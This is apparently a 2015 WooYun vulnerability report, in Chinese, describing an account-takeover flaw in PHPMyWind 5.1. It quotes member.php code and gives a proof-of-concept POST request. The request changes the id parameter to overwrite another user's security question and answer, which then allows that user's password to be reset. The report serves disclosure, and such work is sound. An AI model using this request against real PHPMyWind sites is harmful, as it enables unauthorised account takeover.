当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130178

漏洞标题:PHPMyWind任意用户密码重置

相关厂商:phpmywind.com

漏洞作者: 路人甲

提交时间:2015-08-04 14:13

修复时间:2015-08-09 14:14

公开时间:2015-08-09 14:14

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-04: 细节已通知厂商并且等待厂商处理中
2015-08-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

PHPMyWind任意用户密码重置

详细说明:

首先我们注册两个用户
第一个叫jkgh006
第二个叫test123
那么我们下来分析一下代码:
member.php:

else if($a == 'saveedit')
{

//检测数据完整性
if($password!=$repassword or $email=='')
{
header('location:?c=edit');
exit();
}
//HTML转义变量
$answer = htmlspecialchars($answer);
$cnname = htmlspecialchars($cnname);
$enname = htmlspecialchars($enname);
$cardnum = htmlspecialchars($cardnum);
$intro = htmlspecialchars($intro);
$email = htmlspecialchars($email);
$qqnum = htmlspecialchars($qqnum);
$mobile = htmlspecialchars($mobile);
$telephone = htmlspecialchars($telephone);
$address = htmlspecialchars($address);
$zipcode = htmlspecialchars($zipcode);
//检测旧密码是否正确
if($password != '')
{
$oldpassword = md5(md5($oldpassword));
$r = $dosql->GetOne("SELECT `password` FROM `#@__member` WHERE `username`='$c_uname'");
if($r['password'] != $oldpassword)
{
ShowMsg('抱歉,旧密码错误!','-1');
exit();
}
}
$sql = "UPDATE `#@__member` SET ";
if($password != '')
{
$password = md5(md5($password));
$sql .= "password='$password', ";
}
@$sql .= "question='$question', answer='$answer', cnname='$cnname', enname='$enname', sex='$sex', birthtype='$birthtype', birth_year='$birth_year', birth_month='$birth_month', birth_day='$birth_day', astro='$astro', bloodtype='$bloodtype', trade='$trade', live_prov='$live_prov', live_city='$live_city', live_country='$live_country', home_prov='$home_prov', home_city='$home_city', home_country='$home_country', cardtype='$cardtype', cardnum='$cardnum', intro='$intro', email='$email', qqnum='$qqnum', mobile='$mobile', telephone='$telephone', address_prov='$address_prov', address_city='$address_city', address_country='$address_country', address='$address', zipcode='$zipcode' WHERE id=$id";
if($dosql->ExecNoneQuery($sql))
{
ShowMsg('资料更新成功!','?c=edit');
exit();
}
}


这里有一个逻辑缺陷 ,如果输入密码,则才对密码相关的做检测
第一步 我们把密码置空
然后一路小跑到
@$sql .= "question='$question', answer='$answer', cnname='$cnname', enname='$enname', sex='$sex', birthtype='$birthtype', birth_year='$birth_year', birth_month='$birth_month', birth_day='$birth_day', astro='$astro', bloodtype='$bloodtype', trade='$trade', live_prov='$live_prov', live_city='$live_city', live_country='$live_country', home_prov='$home_prov', home_city='$home_city', home_country='$home_country', cardtype='$cardtype', cardnum='$cardnum', intro='$intro', email='$email', qqnum='$qqnum', mobile='$mobile', telephone='$telephone', address_prov='$address_prov', address_city='$address_city', address_country='$address_country', address='$address', zipcode='$zipcode' WHERE id=$id";
看见问题了没有后面直接是id=$id也就是说我们可以越权修改别人信息了,这里我讲的不是越权问题
通过这个我们修改两个字段
第一个 question
第二个 answer
下来我们要分析为什么要修改这两个字段,直接到找回密码处,看看代码怎么写的
member.php:

//找回密码
else if($a == 'quesfind')
{
if(!isset($_POST['uname']))
{
header('location:?c=findpwd');
exit();
}
//验证输入数据
if($question == '-1' or $answer == '')
{
header('location:?c=findpwd');
exit();
}
$r = $dosql->GetOne("SELECT `question`,`answer` FROM `#@__member` WHERE `username`='$uname'");
if($r['question']==0 or !isset($r['answer']))
{
ShowMsg('此账号未填写验证问题,请选择其他方式找回!','?c=findpwd');
exit();
}
else if($question != $r['question'] or $answer != $r['answer'])
{
ShowMsg('您填写的验证问题或答案不符!','?c=findpwd');
exit();
}
else
{
//验证通过,采用SESSION存储用户名
@session_start();
$_SESSION['fid_'.$uname] = $uname;
}
}


这里只是通过问题答案一路存储到session里面 session里面的这个东西正好就只是找回密码下一次的凭证

/设置新密码
else if($a == 'setnewpwd')
{
@session_start();
if(isset($_SESSION['fid_'.$_POST['uname']]))
{

if($_SESSION['fid_'.$_POST['uname']] != $_POST['uname'])
{
ShowMsg('非法操作,找回用户名与上一步输入不符合!','?c=findpwd');
unset($_SESSION['fid_'.$_POST['uname']]);
exit();
}
}
else
{
header('location:?c=findpwd');
exit();
}
//初始化参数
$uname = empty($uname) ? '' : $uname;
$password = empty($password) ? '' : md5(md5($password));
$repassword = empty($repassword) ? '' : md5(md5($repassword));
//验证输入数据
if($uname == '' or
$password == '' or
$repassword == '' or
$password != $repassword or
preg_match("/[^0-9a-zA-Z_-]/",$password))
{
header('location:?c=findpwd');
exit();
}
if($dosql->ExecNoneQuery("UPDATE `#@__member` SET password='$password' WHERE username='$uname'"))
{


if($_SESSION['fid_'.$_POST['uname']] != $_POST['uname']) 这一句提交相同 那就ok了

漏洞证明:

证明如下:
发送url:
POST /PHPMyWind_5.1u/member.php?a=saveedit HTTP/1.1
Host: localhost
postdata:
oldpassword=&password=&repassword=&question=1&answer=ffff&cnname=xxxx&enname=xxxx&sex=0&birthtype=0&birth_year=-1&birth_month=-1&birth_day=-1&astro=-1&bloodtype=-1&trade=-1&live_prov=-1&live_city=-1&live_country=-1&home_prov=-1&home_city=-1&home_country=-1&cardtype=-1&cardnum=&intro=&email=test%40test.com&qqnum=&mobile=&telephone=&address_prov=-1&address_city=-1&address_country=-1&address=&zipcode=&action=update&id=3
当前用户是jkgh006 id为2 我们改为3 然后修改了test123的问题回答

q1.jpg


q2.jpg


修复方案:

不敢乱说··自己修复··

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-09 14:14

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无